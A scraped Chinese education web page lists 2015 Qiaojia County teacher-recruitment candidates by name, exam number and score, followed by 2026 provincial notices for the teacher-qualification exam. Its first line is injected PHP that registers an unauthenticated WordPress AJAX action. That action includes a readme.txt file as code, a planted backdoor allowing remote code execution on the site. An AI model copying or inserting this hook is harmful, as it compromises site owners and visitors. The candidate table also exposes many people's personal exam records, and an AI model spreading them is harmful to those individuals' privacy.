if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
云南省巧家县2015年特岗教师招聘体检名单公示-全国教师资格考试网

云南省巧家县2015年特岗教师招聘体检名单公示

    巧家县2015年特岗教师招聘面试工作在县领导组的领导下,相关部门的配合下,纪委监察的全程监督下现已顺利结束,现将进入体检人员名单公示如下,考生如有异议,请到巧家县教育局人事股查询,联系电话:0870-7121042。请进入体检人员于2015年6月10日下午14:30—17:30到教育局人事股领取《体检表》,过时不到者,视为自动放弃体检资格。请考生领取《体检表》后于6月11日上午8:00到巧家县人民医院体检(空腹),体检费用自理。
    2015巧家县特岗教师招聘进入体检人员名单.doc
    更多信息请查看:云南人事考试网   云南教师考试网
巧家县2015年特岗教师招聘领导组办公室
2015年6月10日
巧家县2015特岗教师招聘进入体检人员名单

序号 姓名 性别 报考岗位 考  号 笔试成绩 抽签号 面试成绩 总分 名次
1 陈德春 女 幼儿园教师 212315100025 89 A5 87.30 176.3 1
2 党正春 女 幼儿园教师 212315100033 79 A1 87.90 166.9 2
3 刘宏灿 男 幼儿园教师 212315100016 73 A7 86.30 159.3 3
4 唐娜 女 幼儿园教师 212315100020 71 A3 87.30 158.3 4
5 王菊 女 幼儿园教师 212315100021 65 A12 91.70 156.7 5
6 周娅 女 幼儿园教师 212315100027 66 A10 90.00 156 6
7 罗盛琼 女 幼儿园教师 212315100004 67 A13 87.30 154.3 7
8 洪愉 女 幼儿园教师 212315100024 63 A14 91.10 154.1 8
9 饶相鱼 女 幼儿园教师 212315100015 69 A8 84.70 153.7 9
10 戴莹 女 小学音乐教师 212315200244 62 B2 92.00 154 1
11 张榆爽 女 小学音乐教师 212315200245 56 B3 91.00 147 2
12 杨红梅 女 小学音乐教师 212315200247 60 B5 85.64 145.64 3
13 匡秀 女 小学音乐教师 212315200246 53 B1 81.80 134.8 4
14 舒芳 女 小学音乐教师 212315200250 45 B4 85.84 130.84 5
15 李雨霏 女 小学音乐教师 212315200249 35 B6 86.62 121.62 6
16 李倩 女 小学信息技术教师 212315200237 81 D7 89.20 170.2 1
17 吴云艳 女 小学信息技术教师 212315200242 74 D4 88.40 162.4 2
18 卯昌沙 女 小学信息技术教师 212315200210 70 D6 90.96 160.96 3
19 杨世琴 女 小学信息技术教师 212315200241 70 D9 90.70 160.7 4
20 唐新艳 女 小学信息技术教师 212315200238 67 D2 90.90 157.9 5
21 舒吉香 女 小学信息技术教师 212315200226 67 D11 90.42 157.42 6
22 赵军 男 小学信息技术教师 212315200187 72 D10 84.20 156.2 7
23 任服兰 女 初中信息技术教师 212315300183 72 C6 89.40 161.4 1
24 唐祥荣 男 初中信息技术教师 212315300187 65 C1 90.54 155.54 2
25 刘铭鸿 女 初中信息技术教师 212315300189 64 C3 87.10 151.1 3
26 钱顺磊 女 初中信息技术教师 212315300177 56 C4 88.08 144.08 4
27 季楚晗 女 小学体育教师 212315200123 66 F5 89.14 155.14 1
28 袁顺星 男 小学体育教师 212315200125 67 F7 86.42 153.42 2
29 彭光吉 男 小学体育教师 212315200133 64 F6 88.88 152.88 3
30 杨正琼 女 小学体育教师 212315200116 63 F1 86.96 149.96 4
31 王炬 男 小学体育教师 212315200127 55 F9 91.32 146.32 5
32 曾正斌 男 小学体育教师 212315200105 59 F8 86.40 145.4 6
33 马敬 男 小学体育教师 212315200114 60 F13 84.02 144.02 7
34 郭忠彩 女 小学体育教师 212315200106 61 F11 82.64 143.64 8
35 冯仁才 男 初中体育教师 212315300141 78 E2 85.10 163.1 1
36 贺传龙 男 初中体育教师 212315300123 73 E3 87.48 160.48 2
37 腾以江 男 初中体育教师 212315300132 72 E4 84.44 156.44 3
38 海贵 男 初中体育教师 212315300130 70 E5 86.14 156.14 4
39 卢位贤 男 高中化学教师 212315300029 96 G2 85.40 181.4 1
40 潘吉红 女 高中化学教师 212315300006 95 G1 84.72 179.72 2
41 幸金礼 男 初中化学教师 212315300032 87 H2 88.00 175 1
42 吕兴英 女 初中化学教师 212315300040 75 H4 84.12 159.12 2
43 王开燕 女 初中化学教师 212315300033 72 H3 83.90 155.9 3
44 张婵 女 初中化学教师 212315300028 67 H7 82.92 149.92 4
45 王丽萍 女 高中生物教师 212315300095 82 I2 84.90 166.9 1
46 郭凤娇 女 高中生物教师 212315300093 82 I1 83.80 165.8 2
47 陈瑞瑞 女 初中生物教师 212315300097 89 J6 84.50 173.5 1
48 孔德夫 男 初中生物教师 212315300098 85 J4 82.70 167.7 2
49 浦小玲 女 初中生物教师 212315300083 81 J2 86.14 167.14 3
50 保明春 女 初中生物教师 212315300079 81 J1 85.60 166.6 4
51 杨亮梅 女 小学美术教师 212315200021 67 L5 85.76 152.76 1
52 郑天选 女 小学美术教师 212315200012 67 L3 84.56 151.56 2
53 罗佰美 女 小学美术教师 212315200009 56 L9 91.20 147.2 3
54 张艳 女 小学美术教师 212315200011 55 L1 84.20 139.2 4
55 金丽飞 女 小学美术教师 212315200025 60 L6 78.00 138 5
56 沈阳 女 小学美术教师 212315200018 46 L4 91.62 137.62 6
57 王雅洁 女 小学美术教师 212315200001 54 L7 83.50 137.5 7
58 唐斌 男 小学美术教师 212315200014 58 L2 78.76 136.76 8
59 陈艳 女 初中美术教师 212315300066 77 K1 86.84 163.84 1
60 李珍余 女 初中美术教师 212315300059 73 K6 88.96 161.96 2
61 刘期梅 女 初中美术教师 212315300068 72 K3 87.62 159.62 3
62 付德敏 女 初中美术教师 212315300070 67 K5 87.96 154.96 4
63 赵升艳 女 初中美术教师 212315300061 68 K2 83.74 151.74 5
64 朱泽福 男 小学数学教师 212315200037 98 A33 90.14 188.14 1
65 彭国春 男 小学数学教师 212315200059 93 A41 90.90 183.9 2
66 马和儒 女 小学数学教师 212315200082 93 A10 88.04 181.04 3
67 叶永朋 男 小学数学教师 212315200069 89 A47 89.20 178.2 4
68 唐会香 女 小学数学教师 212315200094 88 A30 89.54 177.54 5
69 肖恒梅 女 小学数学教师 212315200058 89 A2 88.20 177.2 6
70 何雄芳 男 小学数学教师 212315200034 90 A23 85.36 175.36 7
71 陈艳 女 小学数学教师 212315200092 87 A46 88.36 175.36 8
72 李继顺 男 小学数学教师 212315200080 88 A35 86.32 174.32 9
73 王国平 女 小学数学教师 212315200045 83 A28 90.70 173.7 10
74 李万雄 男 小学数学教师 212315200026 87 A11 86.10 173.1 11
75 沈桂苹 女 小学数学教师 212315200070 83 A42 88.14 171.14 12
76 宋忠柱 男 小学数学教师 212315200093 82 A8 85.94 167.94 13
77 普建兵 男 小学数学教师 212315200041 82 A1 85.80 167.8 14
78 陈发洪 男 小学数学教师 212315200074 77 A38 89.52 166.52 15
79 王琼 女 小学数学教师 212315200051 78 A40 88.06 166.06 16
80 刘顺艳 女 小学数学教师 212315200091 79 A45 86.30 165.3 17
81 彭议仙 女 小学数学教师 212315200036 74 A39 90.20 164.2 18
82 吴丽萍 女 小学数学教师 212315200077 72 A21 92.10 164.1 19
83 杜秋琳 女 小学数学教师 212315200067 76 A44 87.30 163.3 20
84 赵仟年 女 小学数学教师 212315200084 74 A31 88.90 162.9 21
85 江朝洪 男 小学数学教师 212315200057 76 A22 86.80 162.8 22
86 周文艳 女 小学数学教师 212315200027 72 A18 90.70 162.7 23
87 苟大利 女 小学数学教师 212315200071 73 A3 87.96 160.96 24
88 崔忠琼 女 小学数学教师 212315200066 77 A16 83.46 160.46 25
89 高开飞 男 小学数学教师 212315200088 69 A25 90.04 159.04 26
90 文丽娟 女 小学数学教师 212315200049 69 A32 89.72 158.72 27
91 高晓梅 女 小学数学教师 212315200063 71 A37 86.74 157.74 28
92 马子牙 男 小学数学教师 212315200064 69 A4 88.70 157.7 29
93 宋玲玲 女 小学数学教师 212315200044 67 A12 90.68 157.68 30
94 浦绍甫 男 小学数学教师 212315200043 71 A24 84.50 155.5 31
95 李启芬 女 小学语文教师 212315200267 78 B21 90.80 168.8 1
96 李晓梅 女 小学语文教师 212315200275 74 B26 93.00 167 2
97 陈焱 女 小学语文教师 212315200287 76 B18 89.60 165.6 3
98 方堃莲 女 小学语文教师 212315200297 74 B14 88.16 162.16 4
99 夏德国 男 小学语文教师 212315200331 74 B5 87.40 161.4 5
100 梁正建 男 小学语文教师 212315200284 76 B35 85.10 161.1 6
101 陈友书 男 小学语文教师 212315200292 75 B23 86.08 161.08 7
102 郭明飞 男 小学语文教师 212315200304 74 B32 86.34 160.34 8
103 蒋裔帅 男 小学语文教师 212315200324 73 B24 86.90 159.9 9
104 李丹丹 女 小学语文教师 212315200268 69 B6 90.80 159.8 10
105 李贵艳 女 小学语文教师 212315200272 70 B15 89.50 159.5 11
106 毛里飞 男 小学语文教师 212315200319 71 B22 88.00 159 12
107 胡灿 女 小学语文教师 212315200293 68 B31 90.50 158.5 13
108 赵瑞雪 女 小学语文教师 212315200327 65 B39 92.60 157.6 14
109 邱海荣 女 小学语文教师 212315200295 69 B19 87.94 156.94 15
110 廖翰长 男 小学语文教师 212315200264 69 B1 87.60 156.6 16
111 赵发 男 小学语文教师 212315200312 73 B11 83.20 156.2 17
112 祝正发 男 小学语文教师 212315200328 70 B9 85.70 155.7 18
113 罗怡婷 女 小学语文教师 212315200341 66 B27 89.40 155.4 19
114 康远朝 男 小学语文教师 212315200332 72 B20 83.20 155.2 20
115 罗芹花 女 小学语文教师 212315200286 66 B28 87.90 153.9 21
116 李梦菊 女 小学语文教师 212315200308 66 B16 87.90 153.9 22
117 杨绒杰 男 小学语文教师 212315200288 65 B10 88.70 153.7 23
118 闫锡娇 女 小学语文教师 212315200300 67 B34 86.64 153.64 24
119 李庭佳 女 小学语文教师 212315200301 66 B7 87.60 153.6 25
120 吴英 女 小学语文教师 212315200317 67 B13 86.20 153.2 26
121 罗顺敏 女 小学语文教师 212315200273 68 B36 85.10 153.1 27
122 林奎 男 小学语文教师 212315200261 66 B30 86.80 152.8 28
123 贾陆菊 男 小学语文教师 212315200330 65 B37 87.78 152.78 29
124 赵琼 女 小学语文教师 212315200289 70 B3 82.60 152.6 30
125 张世芬 女 小学语文教师 212315200270 66 B40 86.58 152.58 31
126 洪巧玲 女 小学语文教师 212315200342 62 B82 90.20 152.2 32
127 彭瑞 女 小学语文教师 212315200256 67 B17 85.10 152.1 33
128 陈文有 男 小学语文教师 212315200343 71 B4 80.70 151.7 34
129 郑国清 女 小学语文教师 212315200280 66 B8 85.00 151 35
130 朱春玉 女 小学语文教师 212315200258 64 B38 86.88 150.88 36
131 朱远义 女 小学语文教师 212315200315 58 B54 92.72 150.72 37
132 徐瑞 女 小学语文教师 212315200269 61 B75 88.70 149.7 38
133 胡燃 女 小学语文教师 212315200283 62 B62 87.30 149.3 39
134 赵梅娟 女 小学语文教师 212315200338 64 B12 85.08 149.08 40
135 洪静 女 小学语文教师 212315200278 59 B46 89.00 148 41
136 许耀 男 小学语文教师 212315200266 62 B71 85.60 147.6 42
137 罗莹 女 小学语文教师 212315200305 53 B73 93.94 146.94 43
138 张子珍 女 小学语文教师 212315200334 61 B45 85.80 146.8 44
139 黄贤锋 男 小学语文教师 212315200316 63 B74 83.30 146.3 45
140 胡成龙 男 小学语文教师 212315200303 64 B25 81.34 145.34 46
141 邓双晓 女 小学语文教师 212315200299 60 B72 85.20 145.2 47
142 杞开举 男 小学语文教师 212315200309 60 B66 84.34 144.34 48
143 张扑花 女 小学语文教师 212315200276 55 B50 88.50 143.5 49
144 朱恩海 男 小学语文教师 212315200285 60 B64 82.80 142.8 50
145 代绍维 男 小学语文教师 212315200274 54 B43 88.30 142.3 51
146 陆红坤 女 小学语文教师 212315200263 59 B47 82.90 141.9 52
147 邓高超 男 小学语文教师 212315200323 61 B67 80.50 141.5 53
148 胡仁聪 男 小学语文教师 212315200339 56 B76 85.20 141.2 54
149 程兴省 男 小学语文教师 212315200320 61 B51 80.10 141.1 55
150 张君早 男 高中数学教师 212315300118 71 E1 87.30 158.3 1
151 吕天印 女 高中数学教师 212315300109 65 E5 89.80 154.8 2
152 李玲 女 高中数学教师 212315300102 63 E3 85.86 148.86 3
153 邹开禄 男 初中数学教师 212315300103 71 F1 89.70 160.7 1
154 何保薪 女 初中数学教师 212315300114 70 F11 89.46 159.46 2
155 卢升香 女 初中数学教师 212315300105 72 F10 86.52 158.52 3
156 李向坤 男 初中数学教师 212315300111 69 F9 86.56 155.56 4
157 黄方辉 男 初中数学教师 212315300119 67 F6 86.32 153.32 5
158 刘兴国 男 初中数学教师 212315300108 65 F5 85.56 150.56 6
159 付贵兰 女 初中数学教师 212315300107 61 F2 85.18 146.18 7
160 张自祥 男 高中物理教师 212315300160 90 C2 90.76 180.76 1
161 舒金武 男 高中物理教师 212315300171 89 C3 87.94 176.94 2
162 苏正涛 男 初中物理教师 212315300158 70 D2 87.90 157.9 1
163 彭进增 男 初中物理教师 212315300165 69 D3 83.24 152.24 2
164 吴正英 女 小学英语教师 212315200148 87 I12 91.00 178 1
165 郑成翠 女 小学英语教师 212315200162 80 I9 88.56 168.56 2
166 代丽香 女 小学英语教师 212315200166 78 I2 88.44 166.44 3
167 高绍巧 女 小学英语教师 212315200176 76 I5 90.18 166.18 4
168 饶相叶 女 小学英语教师 212315200145 76 I7 89.94 165.94 5
169 王姣 女 小学英语教师 212315200178 74 I3 86.98 160.98 6
170 饶有先 女 小学英语教师 212315200161 73 I8 87.80 160.8 7
171 杨琼 女 小学英语教师 212315200171 72 I10 85.70 157.7 8
172 杨丹 女 高中英语教师 212315300145 90 G2 91.36 181.36 1
173 唐正梅 女 高中英语教师 212315300155 73 G1 87.32 160.32 2
174 杨升华 男 高中英语教师 212315300150 68 G4 87.54 155.54 3
175 李金梅 女 初中英语教师 212315300154 79 H3 90.30 169.3 1
176 朱久开 男 初中英语教师 212315300142 73 H7 89.44 162.44 2
177 兰萍 女 初中英语教师 212315300147 73 H4 89.24 162.24 3
178 江虹 女 初中英语教师 212315300152 69 H8 90.72 159.72 4
179 赵燕 女 初中英语教师 212315300148 65 H5 87.30 152.3 5
180 李庆苍 女 初中英语教师 212315300144 62 H2 88.14 150.14 6
181 帅仁艳 女 高中政治教师 212315300218 74 L3 87.26 161.26 1
182 刘运涛 男 高中政治教师 212315300211 71 L2 89.44 160.44 2
183 王加祥 男 初中政治教师 212315300214 89 M2 90.80 179.8 1
184 张琳 女 初中政治教师 212315300208 85 M1 89.90 174.9 2
185 朱家怡 女 高中语文教师 212315300195 81 J2 90.44 171.44 1
186 庄东兰 女 高中语文教师 212315300204 81 J3 87.84 168.84 2
187 李佶俊 女 初中语文教师 212315300192 83 K1 89.62 172.62 1
188 熊倍兰 女 初中语文教师 212315300200 81 K5 85.30 166.3 2
189 赵朝林 女 初中语文教师 212315300198 76 K3 86.46 162.46 3
190 徐全斗 男 高中历史教师 212315300047 81 N2 88.32 169.32 1
191 牛原梅 女 高中历史教师 212315300051 81 N1 85.28 166.28 2
192 黄凤萍 女 初中历史教师 212315300050 81 P2 88.98 169.98 1
193 陈容 女 初中历史教师 212315300043 76 P1 84.88 160.88 2
194 罗超 男 初中历史教师 212315300045 61 P3 87.32 148.32 3
195 周福天 女 高中地理教师 212315300001 82 R2 86.36 168.36 1
196 范玉梅 女 高中地理教师 212315300004 82 R1 84.54 166.54 2
197 魏林 女 初中地理教师 212315300002 88 Z1 85.92 173.92 1
198 肖体炼 男 初中地理教师 212315300005 82 Z3 88.32 170.32 2
199 张艳新 男 初中地理教师 212315300003 64 Z2 83.94 147.94 3
 

 

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部